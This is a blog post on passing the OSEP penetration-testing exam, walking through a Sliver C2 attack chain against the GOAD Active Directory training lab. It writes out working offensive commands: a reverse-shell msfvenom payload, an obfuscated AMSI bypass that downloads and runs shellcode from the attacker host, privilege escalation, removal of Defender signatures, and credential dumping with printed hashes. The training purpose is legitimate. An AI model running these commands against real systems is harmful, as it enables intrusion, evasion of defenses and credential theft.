The OSEP Exam
Last October, I successfully completed and passed the OffSec Advanced Evasion and Techniques and Breaching Defenses (OSEP) (PEN-300) exam. The exam was fun but also a difficult challenge. OffSec is tight-lipped about their exam contents, so I won't divulge what I encountered there. However, I do want to go into detail about how I utilized Bishop Fox's Sliver C2 framework to pass the exam. I will also share my tips and tricks for exam preparation.
The Game Plan
I discovered after a bit of online research that a lot of people recommended the Cybernetics ProLab offered by HackTheBox, so I signed up and completed it alongside the OSEP course content. The reason why Cybernetics was a good fit was not so much for its challenges in the lab (they did help), but that it gave a good Active Directory environment to practice my C2 workflow in. I was able to set up Sliver, test my AV bypasses, and practice pivoting, enumeration, lateral movement, and escalation in a vulnerable lab environment. In all honesty, I think that's the reason why I passed. I was able to play around and practice with my methodology and refine it as I went. I saw what worked, what didn't, what tools I should use, etc., and I want to pass those same tips onto you.
But the ProLab is costly, so for our purposes in this post, we're going to use Game of Thrones Active Directory (GOAD), which you can run locally and practice the core concepts that are taught in the OSEP course! You're going to need around 100 gigs of free space and roughly 32 gigs of RAM, but even that is not a requirement (you can turn off the virtual machines you aren't running to save on RAM). If you want to follow along and use an easy-to-setup vulnerable AD environment, GOAD is a great solution. I'll be using it here to illustrate my Sliver setup and tips that helped me pass the exam.
C2 Setup
So, let's set up Sliver, our C2 framework of choice here. All the steps are outlined below and done on a Kali machine. I will be targeting the GOAD environment which I have installed locally. I'm also going to assume you have Sliver installed and running on your machine (if you need to install it, go here).
With that out of the way, let's get started!
In Sliver:
sliver > profiles new beacon --mtls 192.168.56.1:443 --format shellcode goad-shellcode-beacon sliver > stage-listener -u tcp://192.168.56.1:8080 -p goad-shellcode-beacon sliver > mtls -L 192.168.56.1 -l 443
We have our stager listener on port 8080 and our C2 channel on port 443 – change these up as you need. I used beacons during my testing since they are good for long-haul communication, and I frequently used interactive sessions since we are in a lab environment. The last thing we need is our shellcode, and we can use Sliver or msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=8080
With all the pieces in place, we can now look at how we will be executing our payload on our target. For OSEP, bypassing AV is a critical part of the exam. The course material goes into bypassing AV, AMSI, custom loaders, etc. I highly
encourage you to find an AMSI bypass that works for you and a payload that can bypass AV. If we can use PowerShell, we can make use of a PowerShell shellcode runner from the course (or you can find one online). Otherwise, my go-to executable to bypass AV is shellcode process hollowing, found here. You can easily clone the repo, open it up in Visual Studio, replace the shellcode buffer with one generated from msfvenom, and compile (make sure to change your format too: -f csharp!
) Also, note that if you do choose to use the repo above, the shellcode is expected to be xor
encoded, so please make sure you encode your shellcode before pasting it into the code.
With our PowerShell shellcode runner and compiled EXE
in hand, we can begin hacking!
Let's Hack
For this blog post, let's assume we've enumerated the GOAD domain already and found that server Castelblack (192.168.56.22)
is hosting an IIS server webpage, and the DC is Winterfell (192.168.56.11)
. Going to the Castelblack
web server shows us a file upload page.
Let's upload an ASPX backdoor. A quick Google search brings us to this GitHub page. After reviewing the code, it doesn't seem that we need to make any changes to it, so we upload it to the server and browse to it. A quick ffuf
of the webserver shows us an upload
directory. Browsing to it presents us with our backdoor!
Our backdoor includes an upload function, as well as the ability to execute shell commands. We can run a PowerShell payload or upload our EXE
and execute it for a sliver beacon. I'm going to use a PowerShell command for this demo, but I encourage you to try both.
powershell "$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344);IEX (new-object system.net.webclient).downloadstring('http://192.168.56.1:9000/sc.txt')"
And we got our first beacon back! Just to break down what I did above, I'm using the backdoor to run PowerShell. It executes an AMSI bypass in the current shell session, then calls back to my Kali machine which has a web server running on port 9000, and downloads my PowerShell shellcode runner called `sc.txt`. Once it finishes executing, we will find that we have a beacon waiting for us in Sliver!
Since we have a beacon, I'm going to task it to go interactive for faster comms.
Armory Goodness
If you haven't done this yet, I suggest you install all (or some) of the armory extensions. The armory helps Sliver shine, and I constantly used them during my labs, practice tests, and final exam. You can do so with armory install all
and give it a minute or so.
Let's see who we are and the privileges we have. Whenever I get a Sliver beacon back, I always check whoami
and the privs
I have and go from there.
sliver (AMUSED_GEMSBOK) > whoami Logon ID: <err> [*] Current Token ID: IIS APPPOOL\DefaultAppPool sliver (AMUSED_GEMSBOK) > getprivs Privilege Information for powershell.exe (PID: 1940) ---------------------------------------------------- Process Integrity Level: High Name Description Attributes ==== =========== ========== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled, Enabled by Default SeImpersonatePrivilege Impersonate a client after authentication Enabled, Enabled by Default SeCreateGlobalPrivilege Create global objects Enabled, Enabled by Default SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Nice. We are running as the IIS Server which has the SeImpersonatePrivilege
. We should be able to escalate to SYSTEM
using printspoofer
or with efspotato
. I also like to look at the running processes with ps
.
Donuts?!
Sliver can execute raw shellcode files. This worked like magic for me when I used TheWover's Donut tool. Basically, we could take any executable and turn it into position-independent shellcode and have it run on the machine through Sliver. Why is this useful? Well, with AV enabled on the box, we want to try and stay in memory as much as possible. If we run a tool like efspotato
or printspoofer
, they will most likely get caught by AV. And I don't want to rewrite or modify these tools if possible.
Donut has a Linux script that we can run on our Kali machine, so let's install and use that. Additionally, I will use printspoofer by itm4n to get a system shell. For printspoofer
, according to the README
on the GitHub page, it says that it works on Windows Server 2016/2019, so let's use Sliver to see what version of Windows we are in with info
:
Lastly, I want printspoofer
to run the binary of my choice, which is the shellcode process hollowing executable we compiled earlier. So, to sum up:
- We need to upload our AV bypassing binary to the machine.
- Use Donut to convert
printspoofer
to shellcode. - Run the shellcode in our Sliver session.
Let's use Sliver to upload our AV bypassing binary to the box to c:\windows\tasks
.
Now let's get our Donut shellcode:
$donut /var/www/html/bin/PrintSpoofer64.exe -a 2 -b 2 -o /tmp/payload.bin -p '-c c:\windows\tasks\sph.exe' [ Donut shellcode generator v0.9.3 [ Copyright (c) 2019 TheWover, Odzhan [ Instance type : Embedded [ Module file : "/var/www/html/bin/PrintSpoofer64.exe" [ Entropy : Random names + Encryption [ File type : EXE [ Parameters : -c c:\windows\tasks\sph.exe [ Target CPU : amd64 [ AMSI/WDLP : abort [ Shellcode : "/tmp/payload.bin"
With all the pieces in place, we can now use Sliver to run our shellcode which will execute our binary and get us a Sliver beacon as SYSTEM. I'm going to spawn Notepad as a sacrificial process as well.
sliver (AMUSED_GEMSBOK) > ps -e notepad Pid Ppid Owner Arch Executable Session ====== ====== ============================ ======== ============= ========= 2760 3668 IIS APPPOOL\DefaultAppPool x86_64 notepad.exe 0 ⚠️ Security Product(s): Windows Defender sliver (AMUSED_GEMSBOK) > execute-shellcode -p 2760 /tmp/payload.bin [*] Executed shellcode on target sliver (AMUSED_GEMSBOK) > ps -e notepad Pid Ppid Owner Arch Executable Session ===== ====== ======= ====== ============ ========= ⚠️ Security Product(s): Windows Defender [*] Beacon a72aab1b AMUSED_GEMSBOK - 192.168.56.22:53456 (castelblack) - windows/amd64 - Tue, 15 Aug 2023 13:28:12 MDT sliver (AMUSED_GEMSBOK) > use a72aab1b-9c34-4450-b57b-ee0478597001 [*] Active beacon AMUSED_GEMSBOK (a72aab1b-9c34-4450-b57b-ee0478597001) sliver (AMUSED_GEMSBOK) > interactive [*] Using beacon's active C2 endpoint: mtls://192.168.56.1:443 [*] Tasked beacon AMUSED_GEMSBOK (d568e425) [*] Session fb72b5f2 AMUSED_GEMSBOK - 192.168.56.22:53459 (castelblack) - windows/amd64 - Tue, 15 Aug 2023 13:29:24 MDT sliver (AMUSED_GEMSBOK) > use fb [*] Active session AMUSED_GEMSBOK (fb72b5f2-dfc3-4554-a3ba-1f591d40fe7a) sliver (AMUSED_GEMSBOK) > whoami Logon ID: NT AUTHORITY\SYSTEM [*] Current Token ID: NT AUTHORITY\SYSTEM
\o/ victory! We have our first SYSTEM shell using Sliver.
Enumerating the Domain and Nuking Off AV
Now that we are SYSTEM, we can dump lsass, enumerate the box further, and run sharphound, etc. But I like to disable AV first. My preferred method is to remove the signatures from Defender. It leaves Defender running on the box but won't alert on anything we do:
sliver (AMUSED_GEMSBOK) > execute -o cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All [*] Output: Service Version: 4.18.23070.1004 Engine Version: 1.1.23070.1005 AntiSpyware Signature Version: 1.395.522.0 AntiVirus Signature Version: 1.395.522.0 Starting engine and signature rollback to none... Done!
Awesome. With AV out of the way, we can now run our enumeration tools such as sharphound
, which is part of the Sliver armory:
sharp-hound-4 -- '-c all,GPOLocalGroup'
Let's download the file from the remote server to our local machine, so we can import it into bloodhound
. We can do ls *.zip
in Sliver to get the filename and then use download
to grab it.
Now you can import it into bloodhound
and dive into any path to take you to owning the domain. We should also enumerate our current machine. We can run hashdump
to dump the Windows SAM hashes.
We can also use the sideload feature of Sliver to create a donut file for mimikatz
without having too manually do it.
And ps
to get a list of running tasks.
After running the ps
command in Sliver, we notice something interesting. We have some processes running as the user NORTH\eddard.stark
. Let's run either sharpview
or sharpsh
which are included in the armory:
sliver (AMUSED_GEMSBOK) > sharpsh -- '-u http://192.168.56.1:9090/PowerView.ps1 -e -c RwBlAHQALQBEAG8AbQBhAGkAbgBHAHIAbwB1AHAAIAAiAEQAbwBtAGEAaQBuACAAQQBkAG0AaQBuAHMAIgA=' [*] sharpsh output: grouptype : GLOBAL_SCOPE, SECURITY admincount : 1 iscriticalsystemobject : True samaccounttype : GROUP_OBJECT samaccountname : Domain Admins whenchanged : 7/28/2023 11:04:08 PM objectsid : S-1-5-21-4164079357-3372510985-393342019-512 objectclass : {top, group} cn : Domain Admins usnchanged : 13385 dscorepropagationdata : {7/28/2023 11:04:08 PM, 7/28/2023 10:48:59 PM, 1/1/1601 12:04:16 AM} memberof : {CN=Denied RODC Password Replication Group,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local} description : Designated administrators of the domain distinguishedname : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local name : Domain Admins member : {CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local} usncreated : 12315 whencreated : 7/28/2023 10:48:59 PM instancetype : 4 objectguid : 2bd01931-cdf1-48e6-861b-f2e26226b229 objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
Here we are running sharpsh
, specifying a web server that has Powerview on it, and then running an encoded PowerShell command to download and execute it. The Powerview command we are running is Get-DomainGroup "Domain Admins"
. We see that user Eddard.Stark
is part of the domain admins group! We should be able to hop onto the DC after migrating into one of the processes running as this user. We can use migrate -p <id>
within Sliver to spawn a new Sliver beacon.
sliver (AMUSED_GEMSBOK) > migrate -p 4544 [*] Successfully migrated to 4544 [*] Beacon 0e6b3731 AMUSED_GEMSBOK - 192.168.56.22:55639 (castelblack) - windows/amd64 - Wed, 16 Aug 2023 06:11:38 MDT sliver (AMUSED_GEMSBOK) > use 0e [*] Active beacon AMUSED_GEMSBOK (0e6b3731-aec9-44c2-ab2c-a29b68b1fb5e) sliver (AMUSED_GEMSBOK) > interactive [*] Using beacon's active C2 endpoint: mtls://192.168.56.1:443 [*] Tasked beacon AMUSED_GEMSBOK (7ef4072f) [*] Session cc7ea98d AMUSED_GEMSBOK - 192.168.56.22:55652 (castelblack) - windows/amd64 - Wed, 16 Aug 2023 06:12:54 MDT sliver (AMUSED_GEMSBOK) > use cc7 [*] Active session AMUSED_GEMSBOK (cc7ea98d-768c-40f4-8fd4-b0cbef375827) sliver (AMUSED_GEMSBOK) > whoami Logon ID: NORTH\eddard.stark [*] Current Token ID: NORTH\eddard.stark
To verify we have access to the DC, let's list the C$
share remotely:
Wonderful! Since this user is DA, we have several ways of moving laterally to the DC. One way is to use sharpsecdump
remotely:
sliver (AMUSED_GEMSBOK) > sharpsecdump '' -target=192.168.56.11 [*] sharpsecdump output: [*] RemoteRegistry service started on 192.168.56.11 [*] Parsing SAM hive on 192.168.56.11 [*] Parsing SECURITY hive on 192.168.56.11 [X] Error stopping RemoteRegistry service on 192.168.56.11, follow-up action may be required [X] Cleanup completed with errors on 192.168.56.11 ---------------Results from 192.168.56.11--------------- [*] SAM hashes Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [X] Error parsing SAM dump file: System.IndexOutOfRangeException: Index was outside the bounds of the array. at SharpSecDump.RegQueryValueDemo.ParseSam(Byte[] bootKey, RegistryHive sam) [*] Cached domain logon information(domain/username:hash) SEVENKINGDOMS.LOCAL/robert.baratheon:$DCC2$10240#robert.baratheon#1b16028ab3b7b19abd51b63225ceb3da SEVENKINGDOMS.LOCAL/h4x:$DCC2$10240#h4x#0e0c802c7b0ce373652f5340c1f0ddb1 [*] LSA Secrets [*] $MACHINE.ACC north.sevenkingdoms.local\winterfell$:aad3b435b51404eeaad3b435b51404ee:a2761ac02aeaf49f905242e883378de7 [*] DPAPI_SYSTEM dpapi_machinekey:2d9843b971cd6c8edd577e5671319dea3101afe8 dpapi_userkey:60dabb72dc2f90da70c65c97980cad9b70241275 [*] NL$KM NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9 ---------------Script execution completed---------------
We can now evil-winrm
over or use impacket
to own the DC in the domain we are in. Just to showcase it, I'll use impacket
's atexec.py
script to execute the same PowerShell command we first used, but this time encoded, to get a Sliver beacon.
And we are on the DC as SYSTEM! \o/
Wrapping Up
I'm going to stop here even though we could keep going and own the parent domain, too. I mainly wanted to showcase how you can use Sliver and the Sliver armory to streamline your methodology and workflow. I've only scratched the surface as to what we could do. If you want to play around with it, execute-assembly
is great for running .NET
binaries in memory, psexec
is there for lateral movement, and the Sliver armory just had a big update recently that included a bunch of new tools.
Jon’s Tips For Passing the OSEP Exam
I can't finish this blog without including my tips on how I passed the OSEP exam:
- Pick your exam time wisely. If you work better in the morning, choose a morning start time. Choose your battleground!
- Practice, Practice, Practice! When preparing for the exam, I bought the Cybernetics ProLab from HackTheBox which helped me immensely. You can use GOAD like I showed you here, another AD lab environment, or build your own.
- Know your toolset. Understand the different tools available to you and how they work. You might test a tool in one lab and have it fail in another. Make sure you understand what you are doing versus copying & pasting commands from the internet.
- Take breaks. My rule was to reevaluate every 2 hours. If I had made significant progress, I would keep going. If I was stuck, I forced myself to take a break.
- Remember that this is an exam. What I mean is don’t get fixated on bad OPSEC or what you wouldn’t do in the real world. Your goal here is to pass the exam and obtain the flags, so go ahead and disable AV, use RDP, upload your tools, and use all your tricks to help you, not hinder you.
- GitHub has a lot of awesome repositories! Make sure whatever you decide to use, you understand what it is doing and how you can modify it if needed.
That’s all I have. I wish you the best of luck in your exam, and if you practice, I have full confidence that you will pass with flying colors.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.